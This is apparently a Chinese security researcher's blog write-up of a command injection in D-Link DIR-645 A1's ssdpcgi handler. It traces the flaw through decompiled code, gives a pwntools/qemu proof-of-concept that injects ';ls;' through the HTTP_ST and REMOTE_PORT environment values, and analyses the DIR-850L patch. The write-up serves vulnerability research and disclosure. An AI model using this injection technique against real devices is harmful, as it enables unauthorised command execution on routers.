D-Link DIR‑645 A1 在 ssdpcgi 中存在远程任意命令执行漏洞

前言

记一次漏洞挖掘,借鉴的是D-Link DIR 615645815 service.cgi远程命令执行漏洞的思路,定位system危险函数,然后去看看能否控制参数等。

漏洞分析

首先就是定位ssdpcgi_main这个关键函数

image

然后我们发现他也会调用lxmldbc_system这个函数,并且最终可以调用system函数,这意味着,只要我们可以控制他的参数,就可以实现任意命令执行

image

image

然后我们回头去看他的参数是怎么来的,这里的思路基本和service.cgi的命令执行漏洞一样

image

开始这个检测==2,是指命令要有两个,然后就是直接解析参数的内容没有任何检测,最终将内容直接赋值给%s_ssdpall_%s:%s_%s_&,这里我们就是可以直接控制参数

image

同时这里有好多选择,最终都会去执行system,直接用;{cmd}拼接来执行命令

image

漏洞验证

可以用qemu用户态进行验证

这里最终实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import*
context.terminal = ['gnome-terminal', '--', 'bash', '-c']
context.arch='mips'
context.os='linux'
context.log_level = 'debug'
def bug():
gdb.attach(target=("localhost", 6666), exe="./htdocs/cgibin",
gdbscript="""
b *0x40A79C\n
c\n
""")
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#cmd=input("command:")
pay=cyclic(0x100)
print(pay)
post_content = "Thir0th=AGRiot"
p = process(f'''
qemu-mipsel -L . \
-0 "ssdpcgi" \
-E HTTP_ST="upnp:rootdevice;ls>" \
-E REMOTE_ADDR="{pay}" \
-E REMOTE_PORT=";ls;" \
-E SERVER_ID="router" \
-g 6666 \
./htdocs/cgibin ssdpcgi
''',shell=True)
bug()


p.send(post_content)







inter()

成功命令执行

image

最后的时候才发现已经被提交过了

image

补丁分析(DIR-850L)

然后想着去看看其他版本的ssdpci函数是否存在命令执行漏洞,最后是定位到DIR-850L,这个固件是有加密的,用在线网站可以直接解压缩,然后我们就ida反编译去看ssdpcgi函数

首先也是定位危险函数,lxmldbc_system函数还是存在的,然后就是看看能否去控制他的参数

image

然后我们从头开始分析,重点关注lxmldbc_system的参数是如何赋值的,getenv来获取参数,然后发现对v2,v3进行了处理,nptr的长度需要<6,这样439f60才为真

函数才能完成if判断

image

sub_40FE70,其实就是加了一个白名单的限制,先将参数赋值给hackstack_0,如果只是进行到这里的话,意味着我们可以控制参数,进而可以命令执行,但是,后续还有对hack_stack0的处理,最后会按照”uuid:%08llX-%04llX-%04llX-%04llX-%012llX”赋值给hackstack_0,我们的字符串会被转换为数字再传给hackstack_0,所以这个参数是没办法控制的,然后去看第二个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
int __fastcall sub_40FE70(const char *a1)
{
__int64 *s_3; // $s0
char *s_2; // $a0
char *nptr; // $v0
__int64 v5; // $v1
int n4456448; // $v0
const char **v7; // $s0
const char *v8; // $a3
_QWORD s_1[5]; // [sp+40h] [-434h] BYREF
char s[1024]; // [sp+68h] [-40Ch] BYREF
const char *v11; // [sp+468h] [-Ch]

memset(s, 0, sizeof(s));
s_3 = s_1;
if ( strncmp(a1, "uuid:", 5u) )
{
if ( strncmp(a1, "ssdp:", 5u) )
{
if ( strncmp(a1, "upnp:", 5u) )
{
v7 = (const char **)off_439F70; // "urn:schemas-microsoft-com:service:OSInfo:1"
do
{
v8 = *v7++;
if ( !v8 )
{
n4456448 = 4456448;
dword_439F60 = 0;
return n4456448;
}
v11 = v8;
}
while ( strcmp(v8, a1) );
return snprintf(haystack_0, 0x400u, "%s", v11);
}
else
{
return snprintf(haystack_0, 0x400u, "%s", "upnp:rootdevice");
}
}
else
{
return snprintf(haystack_0, 0x400u, "%s", "ssdp:all");
}
}
else
{
memset(s_1, 0, sizeof(s_1));
snprintf(s, 0x400u, "%s", a1 + 5);
s_2 = s;
do
{
nptr = strtok(s_2, "-");
if ( !nptr )
break;
v5 = strtoll(nptr, 0, 16);
s_2 = 0;
*s_3 = v5;
if ( (unsigned __int64)(v5 + 0x7FFFFFFFFFFFFFFFLL) >= 0xFFFFFFFFFFFFFFFELL )
{
*((_DWORD *)s_3 + 1) = 0;
*(_DWORD *)s_3 = 0;
}
++s_3;
}
while ( s != (char *)s_3 );
return snprintf(
haystack_0,
0x400u,
"uuid:%08llX-%04llX-%04llX-%04llX-%012llX",
s_1[0],
s_1[1],
s_1[2],
s_1[3],
s_1[4]);
}
}

sub_41011C,这个就是去检测ip,是ipv4还是ipv6,这里经过测试,如果不是这两个的形式会直接报错,也就是这个参数我们没办法控制,也就是说hackstack_0和buf目前没办法控制,然后去看s0和s1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __fastcall sub_41011C(const char *cp)
{
int n10; // $a0
bool v3; // dc
int n4456448; // $v0
_BYTE s[1024]; // [sp+18h] [-400h] BYREF

memset(s, 0, sizeof(s));
if ( strchr(cp, 58) )
{
inet_pton(10, cp, s);
n10 = 10;
}
else
{
inet_pton(2, cp, s);
n10 = 2;
}
v3 = inet_ntop(n10, s, buf, 0x400u) != 0;
n4456448 = 4456448;
if ( !v3 )
dword_439F60 = 0;
return n4456448;
}

s0也是数字,没办法拼接命令,
image

s1这里是有白名单检测的,这个参数也没办法控制,所以这个版本的漏洞已经被修复了,这里白名单限制的很死,没法绕过

image